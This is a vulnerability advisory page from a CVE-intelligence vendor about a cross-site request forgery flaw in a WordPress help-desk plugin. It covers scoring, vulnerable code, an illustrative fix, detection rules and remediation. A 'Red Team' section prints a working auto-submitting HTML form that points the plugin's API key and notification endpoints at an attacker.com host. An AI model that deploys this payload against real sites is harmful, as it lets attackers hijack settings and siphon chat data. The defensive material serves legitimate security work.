☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-5019

CVE-2025-5019 Cross-Site Request Forgery in Hive support
📅 PUBLISHED: 2025-06-06 06:42 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.4× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-5019 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Hive Support | AI-Powered Help Desk, Live Chat & AI Chat Bot Plugin for WordPress, up to and including version 1.2.5. The vulnerability resides in the hs_update_ai_chat_settings() function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge requests that, when triggered by a logged-in administrator (e.g., via a malicious link), can modify the plugin’s AI/chat settings, including API keys, notification endpoints, and other sensitive configurations. The impact includes potential data leakage, redirection of notifications to attacker-controlled servers, and unauthorized use of third-party AI services.

This vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx misconfigurations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 5.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (admin must click a link)
  • Scope: Unchanged
  • Confidentiality Impact: Low (potential API key exposure)
  • Integrity Impact: Low (settings modification)
  • Availability Impact: None

Threat Level: Medium. Exploitation requires social engineering to trick an admin, but the impact can be significant if API keys or notification endpoints are compromised.

Deep Dive & Mechanics

The vulnerability is a classic CSRF flaw in the WordPress plugin’s AJAX handler. The function hs_update_ai_chat_settings() is intended to update AI chat configuration options, such as API keys, endpoint URLs, and notification settings. However, it does not verify a nonce (number used once) before processing the request. This means any HTTP request to the vulnerable endpoint (typically admin-ajax.php with the appropriate action) will be processed as long as the user is authenticated.

An attacker can craft a malicious HTML page or email that, when visited by an admin, automatically submits a POST request to the WordPress admin AJAX endpoint. The request includes parameters to change the AI chat settings, such as:

  • hs_ai_api_key: Replace with attacker’s API key.
  • hs_notification_url: Redirect notifications to attacker-controlled server.
  • hs_chat_endpoint: Point to malicious endpoint.

Since the admin’s browser automatically sends session cookies, the request appears legitimate to the server. The attacker can then intercept sensitive data (e.g., chat logs, user queries) or use the compromised API key for unauthorized access to AI services.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.2.5):

function hs_update_ai_chat_settings() {
    // Missing nonce check
    $api_key = sanitize_text_field($_POST['hs_ai_api_key']);
    $notification_url = esc_url_raw($_POST['hs_notification_url']);
    update_option('hs_ai_api_key', $api_key);
    update_option('hs_notification_url', $notification_url);
    wp_die();
}
add_action('wp_ajax_hs_update_ai_chat_settings', 'hs_update_ai_chat_settings');

Patched Code (hypothetical fix):

function hs_update_ai_chat_settings() {
    // Added nonce verification
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'hs_update_ai_chat_nonce')) {
        wp_die('CSRF validation failed.');
    }
    $api_key = sanitize_text_field($_POST['hs_ai_api_key']);
    $notification_url = esc_url_raw($_POST['hs_notification_url']);
    update_option('hs_ai_api_key', $api_key);
    update_option('hs_notification_url', $notification_url);
    wp_die();
}
add_action('wp_ajax_hs_update_ai_chat_settings', 'hs_update_ai_chat_settings');

The patch adds a nonce check using wp_verify_nonce() to ensure the request originated from the legitimate admin interface.

Exploitation & Lab Setup

Red Team (Exploitation)

  1. Craft a CSRF payload (e.g., csrf_exploit.html):
<html>
<body>
<form action="http://target.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="hs_update_ai_chat_settings">
    <input type="hidden" name="hs_ai_api_key" value="attacker_api_key_123">
    <input type="hidden" name="hs_notification_url" value="https://attacker.com/notify">
    <input type="hidden" name="hs_chat_endpoint" value="https://attacker.com/chat">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>
  1. Host the payload on an attacker-controlled server or send as an email attachment.
  2. Trick an admin into visiting the page (e.g., via phishing email with a link to the HTML file).
  3. Verify exploitation: Check attacker server logs for incoming notifications or API usage.

Blue Team (Detection & Hardening)

  1. Monitor for unusual AJAX requests to admin-ajax.php with action hs_update_ai_chat_settings from unexpected referrers.
  2. Implement additional CSRF protections:
    • Ensure all admin AJAX handlers use nonces.
    • Use check_admin_referer() in all sensitive functions.
  3. Audit plugin settings regularly for unauthorized changes.
  4. Deploy Web Application Firewall (WAF) rules to block requests with missing or invalid nonces.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound connections to unknown IPs/domains from the WordPress server on ports 80/443.
    • HTTP requests to admin-ajax.php with action=hs_update_ai_chat_settings and no _wpnonce parameter.
  • File IOCs:
    • Modified wp_options table entries: hs_ai_api_key, hs_notification_url, hs_chat_endpoint.
  • Log IOCs:
    • WordPress debug log entries showing failed nonce checks (if patched).
    • Unusual admin user activity during off-hours.

Detection Engineering

YARA Rule

rule CVE_2025_5019_CSRF_Payload {
    meta:
        description = "Detects CSRF payload targeting Hive Support plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5019"
    strings:
        $action = "hs_update_ai_chat_settings"
        $api_key = "hs_ai_api_key"
        $notification_url = "hs_notification_url"
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-5019 CSRF Attempt on Hive Support Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to admin-ajax.php with action hs_update_ai_chat_settings without nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 'action=hs_update_ai_chat_settings'
        cs-uri-query|contains: 'hs_ai_api_key'
    condition: selection
falsepositives:
    - Legitimate admin updates (if nonce is present)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5019 CSRF Attempt on Hive Support Plugin"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=hs_update_ai_chat_settings"; http_uri; content:"hs_ai_api_key"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Actions:

    • Disable the Hive Support plugin until a patch is applied.
    • Review and reset any API keys that may have been exposed.
    • Check wp_options table for unauthorized changes to hs_ai_api_key, hs_notification_url, and hs_chat_endpoint.
  2. Long-term Fix:

    • Apply the vendor patch when available (adds nonce validation).
    • Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=hs_update_ai_chat_settings that lack a valid nonce.
  3. Best Practices:

    • Enforce strong admin passwords and multi-factor authentication.
    • Regularly audit WordPress plugins for vulnerabilities.
    • Use security plugins like Wordfence to detect CSRF attempts.

Valters IT
Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-5019/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.